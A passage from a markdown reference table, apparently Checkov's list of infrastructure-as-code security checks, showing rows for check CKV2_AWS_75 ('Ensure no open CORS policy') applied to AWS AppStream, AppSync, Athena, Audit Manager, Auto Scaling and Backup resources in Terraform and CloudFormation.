[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2697 | CKV2_AWS_75              | resource                         | aws_appstream_stack                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2698 | CKV2_AWS_75              | resource                         | aws_appstream_stack                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2699 | CKV2_AWS_75              | resource                         | aws_appstream_user                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2700 | CKV2_AWS_75              | resource                         | aws_appstream_user                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2701 | CKV2_AWS_75              | resource                         | aws_appstream_user_stack_association                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2702 | CKV2_AWS_75              | resource                         | aws_appstream_user_stack_association                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2703 | CKV2_AWS_75              | resource                         | aws_appsync_api_cache                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2704 | CKV2_AWS_75              | resource                         | aws_appsync_api_cache                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2705 | CKV2_AWS_75              | resource                         | aws_appsync_api_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2706 | CKV2_AWS_75              | resource                         | aws_appsync_api_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2707 | CKV2_AWS_75              | resource                         | aws_appsync_datasource                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2708 | CKV2_AWS_75              | resource                         | aws_appsync_datasource                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2709 | CKV2_AWS_75              | resource                         | aws_appsync_domain_name                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2710 | CKV2_AWS_75              | resource                         | aws_appsync_domain_name                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2711 | CKV2_AWS_75              | resource                         | aws_appsync_domain_name_api_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2712 | CKV2_AWS_75              | resource                         | aws_appsync_domain_name_api_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2713 | CKV2_AWS_75              | resource                         | aws_appsync_function                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2714 | CKV2_AWS_75              | resource                         | aws_appsync_function                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2715 | CKV2_AWS_75              | resource                         | aws_appsync_graphql_api                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2716 | CKV2_AWS_75              | resource                         | aws_appsync_graphql_api                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2717 | CKV2_AWS_75              | resource                         | aws_appsync_resolver                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2718 | CKV2_AWS_75              | resource                         | aws_appsync_resolver                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2719 | CKV2_AWS_75              | resource                         | aws_appsync_source_api_association                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2720 | CKV2_AWS_75              | resource                         | aws_appsync_source_api_association                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2721 | CKV2_AWS_75              | resource                         | aws_appsync_type                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2722 | CKV2_AWS_75              | resource                         | aws_appsync_type                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2723 | CKV2_AWS_75              | resource                         | aws_athena_data_catalog                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2724 | CKV2_AWS_75              | resource                         | aws_athena_data_catalog                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2725 | CKV2_AWS_75              | resource                         | aws_athena_database                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2726 | CKV2_AWS_75              | resource                         | aws_athena_database                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2727 | CKV2_AWS_75              | resource                         | aws_athena_named_query                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2728 | CKV2_AWS_75              | resource                         | aws_athena_named_query                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2729 | CKV2_AWS_75              | resource                         | aws_athena_prepared_statement                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2730 | CKV2_AWS_75              | resource                         | aws_athena_prepared_statement                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2731 | CKV2_AWS_75              | resource                         | aws_athena_workgroup                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2732 | CKV2_AWS_75              | resource                         | aws_athena_workgroup                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2733 | CKV2_AWS_75              | resource                         | aws_auditmanager_account_registration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2734 | CKV2_AWS_75              | resource                         | aws_auditmanager_account_registration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2735 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2736 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2737 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment_delegation                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2738 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment_delegation                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2739 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment_report                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2740 | CKV2_AWS_75              | resource                         | aws_auditmanager_assessment_report                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2741 | CKV2_AWS_75              | resource                         | aws_auditmanager_control                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2742 | CKV2_AWS_75              | resource                         | aws_auditmanager_control                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2743 | CKV2_AWS_75              | resource                         | aws_auditmanager_framework                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2744 | CKV2_AWS_75              | resource                         | aws_auditmanager_framework                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2745 | CKV2_AWS_75              | resource                         | aws_auditmanager_framework_share                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2746 | CKV2_AWS_75              | resource                         | aws_auditmanager_framework_share                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2747 | CKV2_AWS_75              | resource                         | aws_auditmanager_organization_admin_account_registration                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2748 | CKV2_AWS_75              | resource                         | aws_auditmanager_organization_admin_account_registration                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2749 | CKV2_AWS_75              | resource                         | aws_autoscaling_attachment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2750 | CKV2_AWS_75              | resource                         | aws_autoscaling_attachment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2751 | CKV2_AWS_75              | resource                         | aws_autoscaling_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2752 | CKV2_AWS_75              | resource                         | aws_autoscaling_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2753 | CKV2_AWS_75              | resource                         | aws_autoscaling_group_tag                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2754 | CKV2_AWS_75              | resource                         | aws_autoscaling_group_tag                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2755 | CKV2_AWS_75              | resource                         | aws_autoscaling_lifecycle_hook                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2756 | CKV2_AWS_75              | resource                         | aws_autoscaling_lifecycle_hook                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2757 | CKV2_AWS_75              | resource                         | aws_autoscaling_notification                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2758 | CKV2_AWS_75              | resource                         | aws_autoscaling_notification                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2759 | CKV2_AWS_75              | resource                         | aws_autoscaling_policy                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2760 | CKV2_AWS_75              | resource                         | aws_autoscaling_policy                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2761 | CKV2_AWS_75              | resource                         | aws_autoscaling_schedule                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2762 | CKV2_AWS_75              | resource                         | aws_autoscaling_schedule                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2763 | CKV2_AWS_75              | resource                         | aws_autoscaling_traffic_source_attachment                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2764 | CKV2_AWS_75              | resource                         | aws_autoscaling_traffic_source_attachment                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2765 | CKV2_AWS_75              | resource                         | aws_autoscalingplans_scaling_plan                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2766 | CKV2_AWS_75              | resource                         | aws_autoscalingplans_scaling_plan                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2767 | CKV2_AWS_75              | resource                         | aws_az_info                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2768 | CKV2_AWS_75              | resource                         | aws_az_info                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2769 | CKV2_AWS_75              | resource                         | aws_backup_framework                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2770 | CKV2_AWS_75              | resource                         | aws_backup_framework                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2771 | CKV2_AWS_75              | resource                         | aws_backup_global_settings                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2772 | CKV2_AWS_75              | resource                         | aws_backup_global_settings                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2773 | CKV2_AWS_75              | resource                         | aws_backup_logically_air_gapped_vault                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2774 | CKV2_AWS_75              | resource                         | aws_backup_logically_air_gapped_vault                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2775 | CKV2_AWS_75              | resource                         | aws_backup_plan                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2776 | CKV2_AWS_75              | resource                         | aws_backup_plan                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2777 | CKV2_AWS_75              | resource                         | aws_backup_region_settings                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2778 | CKV2_AWS_75              | resource                         | aws_backup_region_settings                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2779 | CKV2_AWS_75              | resource                         | aws_backup_report_plan                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2780 | CKV2_AWS_75              | resource                         | aws_backup_report_plan                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2781 | CKV2_AWS_75              | resource                         | aws_backup_restore_testing_plan                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2782 | CKV2_AWS_75              | resource                         | aws_backup_restore_testing_plan                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2783 | CKV2_AWS_75              | resource                         | aws_backup_restore_testing_selection                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2784 | CKV2_AWS_75              | resource                         | aws_backup_restore_testing_selection                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2785 | CKV2_AWS_75              | resource                         | aws_backup_selection                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2786 | CKV2_AWS_75              | resource                         | aws_backup_selection                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2787 | CKV2_AWS_75              | resource                         | aws_backup_vault                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2788 | CKV2_AWS_75              | resource                         | aws_backup_vault                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2789 | CKV2_AWS_75              | resource                         | aws_backup_vault_lock_configuration                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2790 | CKV2_AWS_75              | resource                         | aws_backup_vault_lock_configuration                                                              | 